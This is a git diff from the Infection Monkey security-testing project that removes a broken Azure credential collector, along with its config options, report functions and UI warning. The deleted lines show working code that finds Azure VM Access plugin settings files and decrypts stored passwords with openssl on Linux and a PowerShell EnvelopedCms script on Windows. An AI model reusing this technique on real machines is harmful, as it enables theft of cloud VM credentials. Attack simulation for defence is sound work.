diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index d99d6473c..a091073c5 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -97,7 +97,6 @@ "lines": [ " from common.common_consts.system_info_collectors_names import (", " AWS_COLLECTOR,", - " AZURE_CRED_COLLECTOR,", " ENVIRONMENT_COLLECTOR,", "* HOSTNAME_COLLECTOR,", " MIMIKATZ_COLLECTOR,", @@ -116,8 +115,7 @@ " AWS_COLLECTOR,", "* HOSTNAME_COLLECTOR,", " PROCESS_LIST_COLLECTOR,", - " MIMIKATZ_COLLECTOR,", - " AZURE_CRED_COLLECTOR," + " MIMIKATZ_COLLECTOR," ] }, { diff --git a/CHANGELOG.md b/CHANGELOG.md index 7b78ad996..218e3af6a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Remove serialization of config. #1537 - Checkbox that gave the option to not try to first move the dropper file. #1537 - Custom singleton mutex name config option. #1589 +- Azure credential collector, because it was broken (not gathering credentials). #1535 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py index 175a054e1..afd9e3321 100644 --- a/monkey/common/common_consts/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -3,4 +3,3 @@ HOSTNAME_COLLECTOR = "HostnameCollector" ENVIRONMENT_COLLECTOR = "EnvironmentCollector" PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" -AZURE_CRED_COLLECTOR = "AzureCollector" diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b2a5c24dd..7576b5095 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -11,7 +11,6 @@ "current_server": "192.0.2.0:5000", "alive": true, "collect_system_info": true, - "extract_azure_creds": true, "should_use_mimikatz": true, "depth": 2, diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 830a741f1..4761f24fa 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -4,9 +4,7 @@ from enum import IntEnum import psutil -from common.common_consts.system_info_collectors_names import AZURE_CRED_COLLECTOR from infection_monkey.network.info import get_host_subnets -from infection_monkey.system_info.azure_cred_collector import AzureCollector from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler logger = logging.getLogger(__name__) @@ -63,7 +61,6 @@ class InfoCollector(object): def get_info(self): # Collect all hardcoded self.get_network_info() - self.get_azure_info() # Collect all plugins SystemInfoCollectorsHandler().execute_all_configured() @@ -77,35 +74,3 @@ class InfoCollector(object): """ logger.debug("Reading subnets") self.info["network_info"] = {"networks": get_host_subnets()} - - def get_azure_info(self): - """ - Adds credentials possibly stolen from an Azure VM instance (if we're on one) - Updates the credentials structure, creating it if necessary (compat with mimikatz) - :return: None. Updates class information - """ - # noinspection PyBroadException - try: - from infection_monkey.config import WormConfiguration - - if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes: - return - logger.debug("Harvesting creds if on an Azure machine") - azure_collector = AzureCollector() - azure_creds = azure_collector.extract_stored_credentials() - for cred in azure_creds: - username = cred[0] - password = cred[1] - if username not in self.info["credentials"]: - self.info["credentials"][username] = {} - # we might be losing passwords in case of multiple reset attempts on same username - # or in case another collector already filled in a password for this user - self.info["credentials"][username]["password"] = password - self.info["credentials"][username]["username"] = username - if len(azure_creds) != 0: - self.info["Azure"] = {} - self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds] - except Exception: - # If we failed to collect azure info, no reason to fail all the collection. Log and - # continue. - logger.error("Failed collecting Azure info.", exc_info=True) diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py deleted file mode 100644 index 3d1f3e573..000000000 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ /dev/null @@ -1,131 +0,0 @@ -import glob -import json -import logging -import os.path -import subprocess -import sys - -from common.utils.attack_utils import ScanStatus -from infection_monkey.telemetry.attack.t1005_telem import T1005Telem -from infection_monkey.telemetry.attack.t1064_telem import T1064Telem - -logger = logging.getLogger(__name__) - - -class AzureCollector(object): - """ - Extract credentials possibly saved on Azure VM instances by the VM Access plugin - """ - - def __init__(self): - if sys.platform.startswith("win"): - self.path = ( - "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" - ) - self.extractor = AzureCollector.get_pass_windows - else: - self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config" - self.extractor = AzureCollector.get_pass_linux - self.file_list = glob.iglob(os.path.join(self.path, "*.settings")) - - def extract_stored_credentials(self): - """ - Returns a list of username/password pairs saved under configuration files - :return: List of (user/pass), possibly empty - """ - results = [self.extractor(filepath) for filepath in self.file_list] - results = [x for x in results if x] - logger.info("Found %d Azure VM access configuration file", len(results)) - return results - - @staticmethod - def get_pass_linux(filepath): - """ - Extract passwords from Linux azure VM Access files - :return: Username, password - """ - linux_cert_store = "/var/lib/waagent/" - try: - json_data = json.load(open(filepath, "r")) - # this is liable to change but seems to be stable over the last year - protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"] - cert_thumbprint = json_data["runtimeSettings"][0]["handlerSettings"][ - "protectedSettingsCertThumbprint" - ] - base64_command = """openssl base64 -d -a""" - priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint) - b64_proc = subprocess.Popen( - base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE - ) - b64_result = b64_proc.communicate(input=protected_data + "\n")[0] - decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path - decrypt_proc = subprocess.Popen( - decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE - ) - decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] - decrypt_data = json.loads(decrypt_raw) - T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() - T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send() - return decrypt_data["username"], decrypt_data["password"] - except IOError: - logger.warning("Failed to parse VM Access plugin file. Could not open file") - return None - except (KeyError, ValueError): - logger.warning("Failed to parse VM Access plugin file. Invalid format") - return None - except subprocess.CalledProcessError: - logger.warning( - "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" - ) - return None - - @staticmethod - def get_pass_windows(filepath): - """ - Extract passwords from Windows azure VM Access files - :return: Username,password - """ - try: - json_data = json.load(open(filepath, "r")) - # this is liable to change but seems to be stable over the last year - protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"] - username = json_data["runtimeSettings"][0]["handlerSettings"]["publicSettings"][ - "UserName" - ] - # we're going to do as much of this in PS as we can. - ps_block = ";\n".join( - [ - '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | ' - "Out-Null", - '$base64 = "%s"' % protected_data, - "$content = [Convert]::FromBase64String($base64)", - "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", - "$env.Decode($content)", - "$env.Decrypt()", - "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", - "Write-Host $utf8content", # we want to simplify parsing - ] - ) - ps_proc = subprocess.Popen( - ["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE - ) - ps_out = ps_proc.communicate(ps_block)[0] - # this is disgusting but the alternative is writing the file to disk... - password_raw = ps_out.split("\n")[-2].split(">")[1].split("$utf8content")[1] - password = json.loads(password_raw)["Password"] - T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() - T1064Telem( - ScanStatus.USED, "Powershell scripts used to extract azure credentials." - ).send() - return username, password - except IOError: - logger.warning("Failed to parse VM Access plugin file. Could not open file") - return None - except (KeyError, ValueError, IndexError): - logger.warning("Failed to parse VM Access plugin file. Invalid format") - return None - except subprocess.CalledProcessError: - logger.warning( - "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" - ) - return None diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index 547161936..ac60538b3 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -14,7 +14,6 @@ class ConfigSchemaPerAttackTechnique: "T1003": { "System Info Collectors": [ "Mimikatz collector", - "Azure credential collector" ] } } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 072640352..128503078 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,6 +1,5 @@ from common.common_consts.system_info_collectors_names import ( AWS_COLLECTOR, - AZURE_CRED_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, MIMIKATZ_COLLECTOR, @@ -53,13 +52,5 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { "info": "Collects a list of running processes on the machine.", "attack_techniques": ["T1082"], }, - { - "type": "string", - "enum": [AZURE_CRED_COLLECTOR], - "title": "Azure Credential Collector", - "safe": True, - "info": "Collects password credentials from Azure VMs", - "attack_techniques": ["T1003", "T1005"], - }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index da06123a9..ddd14a3d0 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,6 +1,5 @@ from common.common_consts.system_info_collectors_names import ( AWS_COLLECTOR, - AZURE_CRED_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, MIMIKATZ_COLLECTOR, @@ -94,7 +93,6 @@ MONKEY = { HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR, MIMIKATZ_COLLECTOR, - AZURE_CRED_COLLECTOR, ], }, }, diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index c2d216152..927685560 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -86,7 +86,6 @@ class AWSExporter(Exporter): ExploiterDescriptorEnum.STRUTS2.value.class_name: AWSExporter._handle_struts2_issue, ExploiterDescriptorEnum.WEBLOGIC.value.class_name: AWSExporter._handle_weblogic_issue, ExploiterDescriptorEnum.HADOOP.value.class_name: AWSExporter._handle_hadoop_issue, - # azure and conficker are not relevant issues for an AWS env } configured_product_arn = INFECTION_MONKEY_ARN diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index d0ac2939f..8d93d8062 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -97,24 +97,6 @@ class ReportService: for tunnel in mongo.db.monkey.find({"tunnel": {"$exists": True}}, {"tunnel": 1}) ] - @staticmethod - def get_azure_issues(): - creds = ReportService.get_azure_creds() - machines = set([instance["origin"] for instance in creds]) - - logger.info("Azure issues generated for reporting") - - return [ - { - "type": "azure_password", - "machine": machine, - "users": set( - [instance["username"] for instance in creds if instance["origin"] == machine] - ), - } - for machine in machines - ] - @staticmethod def get_scanned(): formatted_nodes = [] @@ -249,30 +231,6 @@ class ReportService: creds.extend(ssh_keys) return creds - @staticmethod - def get_azure_creds(): - """ - Recover all credentials marked as being from an Azure machine - :return: List of credentials. - """ - creds = [] - for telem in mongo.db.telemetry.find( - {"telem_category": "system_info", "data.Azure": {"$exists": True}}, - {"data.Azure": 1, "monkey_guid": 1}, - ): - azure_users = telem["data"]["Azure"]["usernames"] - if len(azure_users) == 0: - continue - origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] - azure_leaked_users = [ - {"username": user.replace(",", "."), "type": "Clear Password", "origin": origin} - for user in azure_users - ] - creds.extend(azure_leaked_users) - - logger.info("Azure machines creds generated for reporting") - return creds - @staticmethod def process_exploit(exploit) -> ExploiterReportInfo: exploiter_type = exploit["data"]["exploiter"] @@ -628,7 +586,6 @@ class ReportService: "scanned": scanned_nodes, "exploited_cnt": exploited_cnt, "stolen_creds": ReportService.get_stolen_creds(), - "azure_passwords": ReportService.get_azure_creds(), "ssh_keys": ReportService.get_ssh_keys(), "strong_users": PTHReportService.get_strong_users_on_crit_details(), }, @@ -645,7 +602,6 @@ class ReportService: ReportService.get_exploits, ReportService.get_tunnels, ReportService.get_island_cross_segment_issues, - ReportService.get_azure_issues, PTHReportService.get_duplicated_passwords_issues, PTHReportService.get_strong_users_on_crit_issues, ] diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 28cbb1793..2850af42d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -43,7 +43,6 @@ import { import {tunnelIssueReport, tunnelIssueOverview} from './security/issues/TunnelIssue'; import {stolenCredsIssueOverview} from './security/issues/StolenCredsIssue'; import {weakPasswordIssueOverview} from './security/issues/WeakPasswordIssue'; -import {azurePasswordIssueOverview, azurePasswordIssueReport} from './security/issues/AzurePasswordIssue'; import {strongUsersOnCritIssueReport} from './security/issues/StrongUsersOnCritIssue'; import { zerologonIssueOverview, @@ -177,11 +176,6 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: strongUsersOnCritIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'azure_password': { - [this.issueContentTypes.OVERVIEW]: azurePasswordIssueOverview, - [this.issueContentTypes.REPORT]: azurePasswordIssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'weak_password': { [this.issueContentTypes.OVERVIEW]: weakPasswordIssueOverview, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js deleted file mode 100644 index 78afa599b..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js +++ /dev/null @@ -1,23 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function azurePasswordIssueOverview() { - return (
  • Azure machines expose plaintext passwords. (More info)
  • ) -} - -export function azurePasswordIssueReport(issue) { - return ( - <> - Delete VM Access plugin configuration files. - - Credentials could be stolen from {issue.machine} for the following users {issue.users}. Read more about the security issue and remediation here. - - - ); -} diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 561300d1f..17239aa59 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -162,8 +162,7 @@ "awscollector", "hostnamecollector", "processlistcollector", - "mimikatzcollector", - "azurecollector" + "mimikatzcollector" ] }, "persistent_scanning": {